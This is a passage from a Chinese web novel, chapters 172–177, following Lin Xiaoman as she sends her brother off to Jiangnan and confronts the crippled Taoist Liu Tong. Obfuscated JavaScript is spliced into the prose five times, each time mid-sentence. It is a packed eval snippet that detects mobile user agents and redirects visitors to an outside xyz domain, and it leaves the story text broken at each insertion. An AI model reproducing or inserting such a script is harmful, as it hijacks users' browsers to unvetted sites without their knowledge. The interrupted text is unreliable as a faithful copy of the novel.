她神色认真了几分:“外祖母的身子,虽如我所说并无性命之虞,但多年积劳,内里确实亏虚得厉害,此番急症更是耗损元气,即便对症下药,恢复起来也难免要受些病痛缠绵之苦。 你将这道符贴身放在她枕下或随身佩戴,能聚敛生机,温养元气,让她身子舒坦些,夜里也能安睡,于康复大有裨益。” 沈盛德闻言,连忙郑重地双手接过那两道看似寻常的符纸,小心收好。 他刚想道谢,却见林小满又从那看似不大的袖袋里取出一张折叠整齐的纸笺,递了过来。 “还有这个,”林小满说道, “这是我根据外祖母可能的症候,拟的一个温补调理的方子,主要是一些药膳和起居注意的事项。 回去之后,可让大夫参详一下,若无不妥,便照着这方子上的法子给外祖母细细调理。 只要照做,不出一个月,外祖母的精神气色必定会有明显好转,身子骨也会硬朗许多。” 这下沈盛德更加惊讶了,他接过纸笺,难以置信地看着林小满,脱口而出: “小满!你……你不要告诉我,你不仅会抓鬼驱邪、卜算吉凶,你……你还会治病开方啊?” 这已经完全超出了他对外甥女“有些特别本事”的认知。 第172章 你和王爷...... 林小满见他一副目瞪口呆的模样,不由得“切”了一声,丢给他一个“这有什么好大惊小怪”的眼神,语气带着点理所当然的嫌弃: “舅舅,天地万物,阴阳五行,生老病死,本就息息相关。抓鬼治病,驱邪扶正,说到底都是调和阴阳、理顺气机的范畴,原理相通,不过是用在不同地方罢了,这有什么好奇怪的?怎么你难道是不相信我?” 沈盛德被她这番话说得一愣一愣的,仔细一想,似乎……也有那么点道理? 再看林小满那副气定神闲、仿佛在说“今天天气不错”的样子,他心中那点疑虑瞬间被一种莫名的信任取代。 他小心翼翼地将纸笺和符纸收在一起,贴身放好,再看向林小满时,眼神里已经充满了感激和一种难以言喻的叹服。 他重重拍了拍林小满的肩膀:“好孩子!舅舅……舅舅真不知该说什么好了!有你这些话和这些东西,舅舅这心里,算是彻底踏实了!你放心,舅舅一定把你外祖母照顾好!” 他此刻心中大定,只觉得回江南的路,似乎也不再那么沉重紧迫了。 沈盛德将符纸和方子仔细收好,脸上的神情却并未完全放松,他像是忽然想起了什么更重要的事,左右看看确认无人注意他们这边,才压低了声音,面色凝重地问道: “小满,今日早晨我派人紧急送来的那封信,你可看了?此事关系不小,本应与你坐下来细细分说,只是时间上实在来不及,我才匆匆修书一封让人送来给你。” 林小满点了点头,神色也认真了些: “一早起来就收到了,已经看完了。”她心中微动,没想到沈盛德动作这么快,而且如此上心。 沈盛德叹了口气,眉头紧锁,继续说道: “这个贾富贵,还有他的碧潭凝露,绝不像表面看起来那么简单。那贾富贵,表面看着是个唯利是图的商人,甚至有些蠢笨好拿捏,但我总觉得,这恐怕只是他故意示人的表象,内里定然另有乾坤。 只是我派人多方打探,至今还没查到什么切实的把柄,此人隐藏得极深。” 他顿了顿,“至于碧潭凝露……更是邪门。我前后派了几拨好手想去探探他们的作坊或者库房,奇怪的是,这些人回来都说自己像是撞了邪一样,不是莫名其妙迷路,就是突然头晕眼花、心神不宁,根本靠近不了核心之地,最后都无功而返,什么有用的消息也没查到。” 他忧心忡忡地看着林小满,叮嘱道: “小满,舅舅总觉得京城里似乎潜藏着一股很强大的势力,在暗中运作着什么。你留在京城,一定要万事小心!尤其是……一定要小心他们那个制香师傅! 我虽然还没查到此人具体来历,但直觉告诉我,他非常不对劲,恐怕才是碧潭凝露乃至贾富贵背后真正的关键人物!” 林小满听完,点了点头,看来舅舅凭借其商海沉浮多年的敏锐嗅觉,已经察觉到了水面下的暗流。 她面色平静,只应道:“舅舅放心,你说的这些,我都记下了。我会小心的。” 她并没有将昨日自己与那制香师傅短暂交锋、以及小花探查到的那一丝诡异妖气的事情告诉沈盛德。 有些事,知道的人越多反而越不安全,也徒增担忧。 她只是有些意外,舅舅竟然会因为自己之前随口提点的一句“小心贾富贵”,就真的动用了人手去深入调查,并且凭借其经验和直觉,已经触摸到了问题的边缘。这份关切和行动力,让她心头微暖。 沈盛德见林小满心中有数的样子,稍稍安心,又嘱咐了一句: “总之,一切以自身安全为重,若有任何需要,立刻派人快马送信到江南,舅舅定然想办法帮你!” 沈盛德抬头看了看天色,日头已渐高,知道不能再耽搁了。 他深吸一口气,对林小满道:“时辰不早了,舅舅这就走了。此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16539788|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次路途遥远,你也要多保重,照顾好自己。” 林小满点头:“舅舅一路顺风,务必注意安全。” 沈盛德应了一声,脚步却有些迟疑,似乎还有话要说,脸上露出几分犹豫之色,斟酌着开口道: “小满,舅舅还有句话……不知当讲不当讲。此事毕竟是你的私事,我本不应过多置喙……” 林小满看他这副神情,心中已然明了,直接问道:“舅舅是想说……王爷的事?” 沈盛德见她如此通透,便也不再绕弯子,点了点头,压低声音道: “舅舅是过来人,看得出来,那位裴昭王爷,应当是真心中意于你的。他看你的眼神,做不得假。” 他话锋一转,语气带上了几分凝重与关切,“只是,舅舅不知道你心中究竟是何想法。” 他语重心长地继续说道:“成为王妃,固然有享不尽的荣华富贵,万人景仰。但那个位置,也要承受太多常人难以想象的压力、束缚甚至凶险。 王府深宅,规矩繁多,人际复杂,未必就比那皇宫内院轻松多少。尤其是他……他还是裴昭。” 沈盛德顿了顿,似乎在斟酌用词:“他虽然不像深宫里那些妃嫔们需要日日争宠斗艳,但身为亲王,身处权力中心,其中的明枪暗箭、利益纠葛只会更多、更复杂。 舅舅说句掏心窝子的话,不是小满你配不上他,而是舅舅觉得,他那样的身份和处境,或许……或许配不上我们小满这般自在通透的性子。你这样的好孩子,合该过得更加舒心快意,无忧无虑才好。” 他看着林小满,眼神慈爱又带着一丝不易察觉的担忧:“但舅舅也明白,感情之事,如人饮水,冷暖自知。若……若你心中也同样有他,真心喜欢他,愿意与他共同面对那些风雨,那么舅舅也一定会支持你,尽我所能,为你撑腰!” 他将选择权完全交给了林小满,话语中充满了尊重与爱护。 第173章 江南 林小满听完沈盛德这番推心置腹的话,脸上并未出现小女儿家的羞涩或忸怩,反而是一片澄澈的坦然。 她轻轻笑了笑,“舅舅,您多虑了。我对王爷,并无男女之情。或者说,” 她顿了顿,语气笃定,“我并未对任何男子生出过那样的心思。” 沈盛德微微一愣,似乎有些意外她会如此直接地否认。 林小满抬眼望向庭院上方那片湛蓝的天空,目光悠远,继续说道: “舅舅,您知道的,我与寻常闺阁女子不同。我的心,装得下天地万物,阴阳五行,却未必装得下一个小小的后宅,更未必愿意只系于一人之身。那些情愫爱恋,于我而言,太过渺小,也太过束缚。” 她收回目光,看向沈盛德,“我林小满,不属于任何一个人,也不属于任何一个家族后宅。若真要论归属,我或许是属于这天下山川、属于这浩渺大道的。” 这话语听起来有些狂妄,但从她口中说出,却带着一种奇异的、令人信服的力量。 她顿了顿,语气转而带上了一丝不易察觉的、类似孩童寻求认同般的试探,轻声问道: “舅舅,若我……若我此生都不打算婚嫁,就如今日这般,追寻我自己的道,您……可会觉得我不成体统,会嫌弃我吗?” 沈盛德看着外甥女那双清亮眼眸深处一丝极淡的、几乎难以捕捉的忐忑,心中猛地一软,随即涌上的是一股难以言喻的复杂情绪,有惊讶,有了然,更有一种豁然开朗般的释然。 是了,这才是他认识的那个特别的小满,她本就不是池中之物,寻常女子的路径,又如何能框住她? 他脸上露出一个无比真切和宽和的笑容,再次重重拍了拍林小满的肩膀,声音洪亮而笃定: “傻孩子!说什么嫌弃不嫌弃的!你是我沈盛德的外甥女,只要你活得开心,活得自在,活出你自己想要的模样,舅舅就为你高兴!什么婚嫁不婚嫁的,你自己说了算! 咱们沈家、林家,难道还养不起一个快快乐乐、随心所欲的大小姐不成?你想做什么就去做,舅舅永远站在你这边!” 得到沈盛德如此毫不犹豫的支持,林小满眼中最后一丝微不可察的顾虑也消散了,脸上绽开一个明媚而轻松的笑容,如同拨云见日。 “谢谢舅舅!” 沈盛德看着林小满的笑容,心中满是疼爱,他伸手轻轻摸了摸林小满的后脑勺,语气里带着不舍与期盼: “傻孩子,跟舅舅还说什么谢。有空闲了……记得来江南看看舅舅,让你外祖母和外祖父也好好瞧瞧我们小满。” 林小满用力点头,眉眼弯弯:“知道啦,舅舅。一定去!” 她话音刚落,就听见那边已经登上马车、正探头张望的林景明扯着嗓子喊道: “舅舅!姐姐!你们俩躲在那里说什么悄悄话呢?说了这么久!都要出发啦!” 沈盛德闻言,立刻换上了平日里那副爽朗的笑脸,转身一边朝马车走去,一边洪声应道: “来了来了!你这小子,就你心急!舅舅正跟你姐姐交代,让她得空去江南监督你用功呢!看你到时候还敢不敢偷懒!” 这话引得众人都笑了起来,冲淡了些许离愁。 林景明夸张地叫起屈来。 沈沈德和林小满走回人群。 沈清秋的眼圈明显红着,脸上还挂着未干的泪痕,但她努力扬起一个温柔的笑容,走到马车窗前,对着里面的林景明再次叮嘱道: “景明,到了那边,一定要听舅舅、外祖父、外祖母的话,好好进学,切记不可顽皮,不能让长辈们操心,知道吗?” 林景明此刻也收起了玩笑的神色,认真地点头,承诺道:“是,娘亲,孩儿记住了。我一定乖乖的,好好读书。” 沈清秋又殷殷嘱咐:“记得多给家里写信,报个平安,说说你在那边的情况,衣食住行,学业交友,事无巨细,多写一些,让爹娘和你姐姐们放心。”她的声音带着一丝不易察觉的哽咽,充满了慈母的牵挂。 林景明看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16539789|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着母亲强忍泪水的模样,心里也酸酸的,重重地“嗯”了一声:“娘,您放心,我到了就写!一定常常写信回来!” 他的目光一转,落在旁边正含笑望着自己的长姐林知鸢身上,见她眉眼温柔,林景明眼珠一转,忽然生出几分促狭之心,他故意凑近压低了声音,用一副“我都懂”的坏笑表情对林知鸢说道: “长姐,你放心,我在江南也会想你的!还有啊……” 他故意拖长了语调,眨了眨眼,“你在这边,若是和屿安世子有什么好消息了,记得一定要及时写信告诉我哦!可别瞒着你最亲爱的弟弟!” 林知鸢猝不及防被弟弟当众打趣,尤其是还牵扯到屿安世子,她白皙的脸颊“唰”地一下飞上两抹红云,一直蔓延到耳根。 她又是羞又是恼,下意识地轻跺了一下脚,嗔怪地瞪了林景明一眼,声音都带上了几分罕见的急促: “景明!你……你胡说什么呢!再乱说,小心我……我以后不给你回信了!” 她平日里端庄稳重,何曾有过这般小女儿情态,此刻羞窘得恨不得找个地缝钻进去,眼神都不敢往父母那边瞟,生怕看到他们探究的笑意。 那慌乱又强自镇定的模样,与平日的温婉大方判若两人,倒是添了几分鲜活气。 沈盛德见时候确实不早,拍了拍手,朗声道:“好了好了,闲话稍后再叙,景明,上车吧,咱们该启程了!” 林景明闻言,小嘴立刻嘟了起来,脸上写满了不情愿和委屈。 他挨个儿看向父亲林正言、母亲沈清秋、长姐林知鸢,最后目光落在二姐林小满身上,那眼神湿漉漉的,像是被遗弃的小狗,充满了不舍。 他磨磨蹭蹭地,一步三回头,仿佛脚下拴着千斤重担,慢吞吞地挪向马车。 好不容易在沈盛德的轻声催促下蹬上了马车,他立刻“唰”地一下将车帘整个掀开,半个身子都探了出来,扒着车窗,眼巴巴地望着送行的家人,似乎这样就能离他们更近一点,多看他们一眼。 第174章 好重的酸味呀 车轮终于缓缓转动,带着吱呀声,开始向前行进。 林景明依旧死死扒着车窗,大声喊道:“爹!娘!大姐!二姐!我走啦!你们一定要好好的!记得想我啊!” 声音随着马车的移动渐渐飘远。 沈清秋的眼泪终于忍不住滚落下来,她向前追了两步,用力挥着手。 林正言虽神色沉稳,但负在身后的手也不自觉地握紧了。 林知鸢眼中含泪,微笑着挥手。 林小满也抬起手,对着那越来越小的、依旧固执地探出车窗的脑袋挥了挥,直到马车拐过街角,再也看不见了。 府门前,一时间只剩下空落落的寂静和弥漫的离愁。 林知鸢见状,心中亦是酸楚难言,她深吸一口气,压下眼底的湿意,轻轻走上前,温柔地挽住沈清秋的手臂,将身子依偎过去, “娘,别太难过了。景明这不是去受苦,是去江南舅舅家进学,外祖父、外祖母和舅舅定然会将他照顾得周周全全的。江南文风鼎盛,名师荟萃,对景明的学业大有裨益,这是好事呀。” 她顿了顿,拿出绣着淡雅兰花的绢帕,细致地为母亲拭去脸上的泪痕,继续柔声劝慰: “再说了,您想啊,以景明那活泼跳脱的性子,换个新环境,见识江南的秀丽风光与人情物貌,说不定还能让他沉静些,更快地成长起来呢。我们该为他高兴才是。” 林正言也收敛了心绪,走到妻子另一侧, “知鸢说得对。男儿志在四方,让他出去历练一番是必要的。江南有岳父岳母和舅兄看顾,出不了差错。你就放宽心吧。” 沈清秋在女儿温柔的劝慰和丈夫沉稳的安抚下,激动的情绪渐渐平复了些许。 她接过林知鸢手中的帕子,自己擦了擦眼角,努力挤出一个笑容,声音还带着些许鼻音: “我知道,我知道这是为了他好……就是心里头一下子空落落的,忍不住……”她说着,目光又不自觉地望向空荡荡的街口。 林知鸢轻轻握紧母亲的手,语气轻快了几分,试图转移她的注意力: “娘,外面风大,我们快些回屋吧。您昨日不是说想尝尝新来的厨娘做的桂花糕吗?我这就让她去准备,再沏一壶您最喜欢的茉莉香片,我们娘儿俩好好说说话,可好?” 沈清秋看着林知鸳体贴入微的模样,心中暖流涌过,终于点了点头,由着林知鸢和林正言一左一右搀扶着,转身缓缓向府内走去。 林小满站在原地,静静看着林知鸳和相携离去的背影。 阳光将他们的影子拉得很长,那相互依偎的姿态透着一种难以言喻的温情与默契,是她既熟悉又似乎始终隔着一层的氛围。 正微微出神,肩膀忽然被人从后面轻轻拍了一下。 小花不知何时凑了过来,顺着她刚才的目光看了看那一家三口的背影,又扭回头盯着林小满的脸仔细瞧了瞧,然后促狭地皱皱鼻子,故意用手在鼻子前扇了扇风: “干嘛呢,在这儿杵着当望亲石?啧啧,我怎么好像闻到一股子酸溜溜的味道?某些人该不会是……吃味了吧?” “去你的!”林小满被她这夸张的动作和语气逗得回过神,没好气地翻了个白眼,轻轻拂开她还在扇风的手。 她顿了顿,目光再次投向那即将消失在庭院拐角的背影,声音低了些,带着一丝不易察觉的怅惘和认真: “别瞎说。我只是……只是在想,如果真正的林小满还活着,能有这样真心疼爱她的家人,她一定会觉得非常、非常幸福吧?” 她的话音很轻,像是在问小花,又像是在问自己,更是在问那个早已不知魂归何处的、这具身体原本的主人。 小花脸上的嬉笑之色慢慢收敛了。她明白林小满话中深意,也知晓那份隐藏在平静下的复杂心绪。 她沉默了片刻,难得用正经的语气说道: “或许吧。但这世上没有如果。既然是你站在了这里,那么这份亲情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16539790|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这份牵挂,现在就是属于你的。” 她侧头看着林小满清亮的眼眸,语气笃定:“老爷子、夫人、大小姐,还有刚才那个皮猴儿似的景明,他们关心、爱护的,是眼前这个会说话、会走路、有自己想法和脾气的‘林小满’。是你,不是别的任何人。” “所以啊,”小花又恢复了那略带戏谑的语调,用手肘轻轻碰了碰林小满,“就别在这儿替别人担忧了。珍惜眼前人才是最要紧的。走吧,‘二小姐’,夫**小姐她们可都进屋了,你这会儿不跟上去,待会儿夫人找不见你,又该念叨喽。” 林小满被小花最后那句拖长了尾音的“念叨喽”说得心头一暖,却又被她那挤眉弄眼的促狭样子弄得有些不好意思。 她故意板起脸,装作恼怒的样子,抬手就朝着小花的肩膀不轻不重地一掌推了过去。 “就你话多!” 小花正得意着,一时不察,被推得“哎呦”一声,踉跄着向后**了好几步才勉强站稳。 她立刻夸张地揉着肩膀,龇牙咧嘴地控诉: “啊啊啊!!!林小满!你下手没轻没重的!把我打**对你有什么好处?以后谁陪你解闷儿?谁给你跑腿儿?谁给你打掩护啊?!” 林小满已经跑开了几步,闻言回过头来,看着她那副“痛心疾首”的模样,脸上绽开一个狡黠又明媚的笑容,故意气她道: “没有好处啊。”她歪了歪头,眼神灵动,“但我就是喜欢看着你吃瘪的样子。略略略——” 说完,还冲小花做了一个俏皮的鬼脸,吐了吐舌头,然后不再停留,转身提起裙摆,脚步轻快地朝着府内跑去,像一只翩跹的蝴蝶。 “好你个没良心的!你给我站住!”小花看着她溜得飞快的身影,气得跺了跺脚。 她一边嘴上嚷嚷着,一边也赶紧迈开步子追了上去,“看我追上你怎么收拾你!有本事别跑那么快!” 两个少女一前一后,笑闹着穿过庭院。 第175章 天真单纯的蠢货 “刘道长想要报答恩情,何必等日后?不如……就现在吧?” 林小满的声音轻飘飘地在门外响起。 “咦,你怎么来了?”小花正听得起劲,被打断了有些不乐意,撅着嘴巴看向不知何时出现在身后的林小满,“我还没玩够呢。” 门内的刘道长听见外面又传来一道截然不同的、清冷的女声,先是眼中闪过一丝疑惑,这声音……似乎有几分耳熟? 但更多的是一种“正主终于出现”的惊喜,他立刻屏住了呼吸,仔细聆听。 “看你过来得太久,就知道你肯定是玩心又起了。”林小满抬起一只手,轻轻刮了刮小花的鼻子,语气带着几分无奈的亲昵, “你什么时候才能改改你这好玩的性子?” 小花被刮得“啧啧”两声,笑嘻嘻地说道: “小满你是不知道,这臭道士刚才还想套我的话呢!开玩笑,我是谁啊?谁能套到我的话?” 她语气里满是得意。 门内的刘道长一听,顿时急了,连忙高声辩解,声音因为急切都有些沙哑了: “误会!天大的误会啊!门外这位姑娘,您真的误会贫道了!贫道绝非有意套话,实在是……实在是真心想要感谢救命恩人,此恩如同再造,贫道心中难安啊!” 他顿了顿,语气变得更加谦卑甚至带着一丝谄媚,朝着门外猜测道: “方才来的这位……这位小姐,听您声音便知不凡,气度定非常人!您……您就是施展回春妙手,将贫道从鬼门关拉回来的救命恩人吧?贫道刘某人,在此叩谢恩人救命之恩!恩人但有差遣,贫道万死不辞!” “道长感觉如何?筋骨可还使得上力?”林小满的声音淡淡的,听不出什么情绪。 门内的刘道长闻言,下意识地活动了一下手腕和脚踝。 虽然依旧传来阵阵隐痛,但比起之前完全无法动弹、如同废人一般的感觉,此刻竟真的能感受到一丝微弱的气力在筋脉中流转,断裂处似乎真的有续接生长的迹象! 他心中狂喜,连忙对着门外说道: “使得上!使得上一些力气了!贫道就说,感觉已经好多了!恩人医术通神,贫道这残破之躯,竟真能有恢复之日!实在是……实在是……” 他激动得有些语无伦次,仿佛已经看到了自己恢复如初的希望。 "既然如此,小花,把门打开吧。" "哦。"小花应了一声,利索地掏出钥匙,"咔哒"一声打开了门锁,用力将沉重的木门推开。 久违的光线瞬间涌入昏暗的室内,刺得刘道长眼睛一阵剧痛,他下意识地用手臂挡住眼睛,发出痛苦的呻吟。 好一会儿,他才勉强适应了些许,顺着光线望去,只见门口逆光站着一道纤细的身影,周身仿佛笼罩着一层光晕,宛如九天仙女临凡。 刘道长心中激动万分,认定这定是自己的救命恩人,他顾不上眼睛的不适,连忙挣扎着翻身,双膝跪地,朝着那身影"砰砰砰"狠狠磕了三个响头,声音带着哭腔和无比的感激: "恩人!恩人在上!请受贫道三拜!多谢恩人再造之恩!贫道刘通,此生愿为恩人当牛做马,以报大恩!" 林小满缓缓蹲下身子,与跪在地上的刘道长平视。 她抬起手,轻轻将他眼前遮挡视线的、沾着血污和草屑的纠结碎发拨开,露出了他那张虽然布满污垢和伤痕,但依稀可辨五官的脸。 她轻笑一声,声音里带着一丝玩味:"怎么,刘道长?这么快就不记得我了?" 刘道长怔住了,他瞪大了眼睛,努力聚焦,想要看清逆光中近在咫尺的这张脸。 当那张清丽却带着冷意的面容逐渐清晰,他脸上的感激和激动瞬间凝固,转而化为极致的惊恐和难以置信,仿佛白日见了鬼一般,喉咙里发出"嗬嗬"的抽气声,整个人都僵住了。 小花在林小满身后看得分明,忍不住嗤笑出声,语气里满是嘲讽: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16539791|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' "小满,看来刘道长还真是贵人多忘事呢,这么快就忘记了他之前处心积虑想要杀的人了。" 过了好一会儿,刘道长才像是终于找回了自己的声音,他颤抖着抬起一只手指着林小满,嘴唇哆嗦着, "你……你你你……"了好半天,却说不出一句完整的话。 "我什么我?"林小满微微歪头,眼神清冷,"难不成刘道长真不记得我了?" "是……是你救了我?"刘道长终于挤出了一句话,声音里充满了荒谬感。 "不然呢?"林小满站起身,居高临下地看着他, "你觉得除了我之外,还有谁有这么大的本事,能从阎王手里把你这条烂命抢回来?" 刘道长刚刚拨上去的头发又散落下来,遮住了他部分神情,只听到他发出一声苦涩至极的低笑,带着怨愤和不甘: "呵……呵呵……林二小姐真是好手段!可贫道如今这副模样,这本就是拜你所赐!如若不是你当初不知用了什么邪术封印了贫道的灵力,贫道又怎会如同待宰羔羊一般,毫无反抗之力地被长公主派来的人挑断手筋脚筋,变成如今这副废人的模样!这一切,都是因为你!" 他越说越激动,似乎将所有的恨意都倾泻在了林小满身上。 小花闻言,绕过林小满,几步走到刘道长面前,对着他的肩膀就是狠狠一脚踹了过去,骂道: "我呸!你还真是不要脸他妈给不要脸开门——不要脸到家了!自己学艺不精,心思歹毒,遭了报应,还敢怪到我们小满头上?" 她双手叉腰,俯视着被踹得歪倒在地的刘道长,语气极尽讥讽: "你不会真以为,就算你当初成功毒杀了小满,长公主那个毒妇就会放过你吧?她连自己的亲……哼,反正她那种人,**灭口是基本操作! 没想到啊没想到,你刘道长看起来一把年纪,经历过不少风浪,内里居然还是个这么天真单纯的蠢货呢!真是笑死个人了!" 第一百七十六章 刘道长 刘道长被小花踹得闷哼一声,却依旧强撑着抬起头,死死盯着林小满,冷哼一声道:"林二小姐,贫道承认,这次是栽了!" 他喘息了几下,继续道,"虽然贫道至今也想不明白,你身上明明没有丝毫修炼之人该有的灵力波动,更无玄门正统的气息……你究竟是如何做到的?" 他回想起之前的交锋,越发觉得诡异:"贫道精心布置的术法,在你面前竟如同儿戏,被一一轻易破解。那封印我灵力的手段,更是闻所未闻,阴损霸道! 你……你绝非表面上看起来这般简单!你到底是什么人?是得了什么逆天的机缘,还是……根本就不是原来的那个林小满?!" 最后这句话,他几乎是嘶吼出来的,带着一种他自己都未曾察觉的恐惧。 眼前的林二小姐,与他情报中那个懦弱无能、可以随意拿捏的深闺少女,简直判若云泥! 这种脱离掌控、无法理解的状况,让他从心底感到战栗。 林小满缓缓站起身,背对着瘫倒在地的刘通,语气里带着一丝淡淡的嘲讽: "我原以为你只是个心狠手辣却没脑子的蠢货,没想到,静下心来想一想,你倒也还有那么一丝丝的脑子嘛。" 她微微侧过头,用眼角的余光瞥了他一眼,"不错,你猜对了。我的确不是林小满。" 她转过身,重新面对他,"但那又怎样?如今我为刀俎,你为鱼肉。你的命,是我从阎王殿捡回来的。我想让你活,你便能苟延残喘;我想让你死,你便见不到明天的太阳。甚至……" 她顿了顿,唇角勾起一抹弧度:"我想让你求生不得,求死不能,你也只能受着。你的生死,早已不由你,而是由我掌控。" 刘通闻言,脸上血色尽褪,却强撑着梗起脖子,啐出一口带血的唾沫,嘶声道: "呸!要杀要剐,悉听尊便!贫道既然落到你手里,就没想过能活着出去!你想从贫道这里得到什么,休想!有本事就直接给贫道一个痛快,不必在此多费唇舌!" 林小满闻言,非但不恼,反而轻轻笑出了声,那笑声里带着几分戏谑, "你觉得,你如今这副废人的模样,身上还有什么值得我图谋的?修为尽废,筋脉寸断,不过是一具苟延残喘的皮囊罢了。" 她往前踱了一步,阴影笼罩在刘通身上: "但我这人,向来记仇。你既然敢对我下毒手,这笔账,我自然要好好跟你算清楚。不报此仇,岂非显得我太好欺负? 刘通,你想求个痛快?我偏不让你死。我非但要让你活着,还要让你眼睁睁看着,你所在意的一切,是如何一点点崩塌、毁灭。这才叫……报仇。" 说完,林小满不再看他那瞬间惨白如纸、写满惊惧的脸,直起身,毫不犹豫地转身离去,衣袂飘然,不带一丝留恋。 小花被这突如其来的发展和林小满充满戾气的话语弄得有些懵,她看了看林小满决绝的背影,又回头瞅了瞅瘫在地上、仿佛被抽走了魂的刘通,一时没想明白其中关窍。 但她也不敢耽搁,手忙脚乱地"哐当"一声将沉重的木门重新锁死,赶紧小跑着追上已经走出一段距离的林小满。 "小满!小满你等等我!"小花气喘吁吁地跟上,扯住林小满的衣袖,脸上满是困惑, "你刚才那话是什么意思啊?我怎么听得有点莫名其妙的?而且……我们干嘛还要一直留着刘通这个祸害? 就他这样的人,心术不正,害了不知道多少人,直接了结了他不是更干净利落吗?留着他简直是浪费粮食!" 林小满停下脚步,看向一脸懵懂的小花,无奈地摇了摇头: "你就没发现,刘通所用的术法,有哪里不对劲吗?" 小花眨巴着眼睛,更加困惑了:"哪里不对?不就是他坏事做尽,遭了报应,现在变成废人一个了吗?" 林小满环顾了一下四周,确认无人后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16539792|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才压低声音道:"刘通所使用的那些阴毒术法,你不觉得很眼熟吗?" 小花皱着眉头努力思索了片刻,还是摇了摇头:"眼熟?我没觉得啊……" "你啊!"林小满伸出手指,轻轻点了点小花的额头,"真是服了你了。你仔细想想,当初秦小将军一案,还有陆宁宁府中闹鬼一事。虽说表面上所有的线索都指向了霉道长,但你要是仔细对比就会发现……" 她凑近小花,声音压得更低:"这两起事件中,那些阴毒咒术的气息、施术的手法,甚至是一些符文的细微勾勒方式,都与刘通惯用的手段有着惊人的相似之处。 虽然表面上看不出直接关联,但内里的脉络,分明是同出一源。" 小花猛地睁大了眼睛,倒吸一口凉气:"你的意思是……刘通和那个霉道长,他们很可能……" "现在还不能完全确定,"林小满打断她, "但这绝不是巧合。留着刘通,就是为了顺藤摸瓜,查出他们背后是否真有牵连,又是谁在暗中指使。直接杀了他,这条线索就断了。" 小花这才恍然大悟,拍了拍自己的脑袋:"原来是这样!怪不得你要留着他!还是小满你想得周到!" 林小满神色凝重地点了点头:"没错。从贾富贵和刘通的谈话来看,他们背后都有一个共同的"尊主"。 不把这个藏在幕后的"尊主"揪出来,光是除掉这些听命行事的小喽啰,根本无济于事。杀了一个刘通,还会冒出张通、李通,永远除不尽。" 小花恍然大悟,随即又皱起眉头:"小满,那照你这么说,刘通在这伙人里扮演的是什么角色?" "和那个霉道长差不多,都是替"尊主"办事的爪牙。"林小满冷笑道, "不过一个在明,一个在暗罢了。霉道长行事张扬,专挑达官显贵下手;刘通则更擅长伪装,潜伏在京城伺机而动。两人分工不同,但用的都是同一脉的邪术。" 第一百七十七章 一明一暗 林小满继续说道:"那天晚上趁他不备,我在他身上施了"窥心术",此法能窥探他人记忆深处,只是极为凶险。我在他的记忆碎片里,看到了刘通与一个穿着黑袍的男人密谈的场景,还有一个……" 她顿了顿,眉头微蹙:"还有一个看不清面容的男子,高高坐在阴影处的座椅上。 从刘通记忆中对那人的敬畏程度来看,十有**就是他们口中的"尊主"。至于那个黑袍男人,观其身形举止,与青阳所说很像,应当就是霉道长无疑。" 林小满抬手揉了揉太阳穴:"只是他的记忆被人下了禁制,我强行施展窥心术,虽然看到了一些关键,但也受到了不小的反噬。" 林小满说完,轻轻挽起自己的衣袖,露出手臂上一块明显灼伤的皮肤。 那处伤口虽然已经结痂,但暗红色的疤痕周围还泛着不正常的青紫色,依稀可见当时伤得不轻。 小花一见,立刻心疼地拉过林小满的手,声音都带着颤: 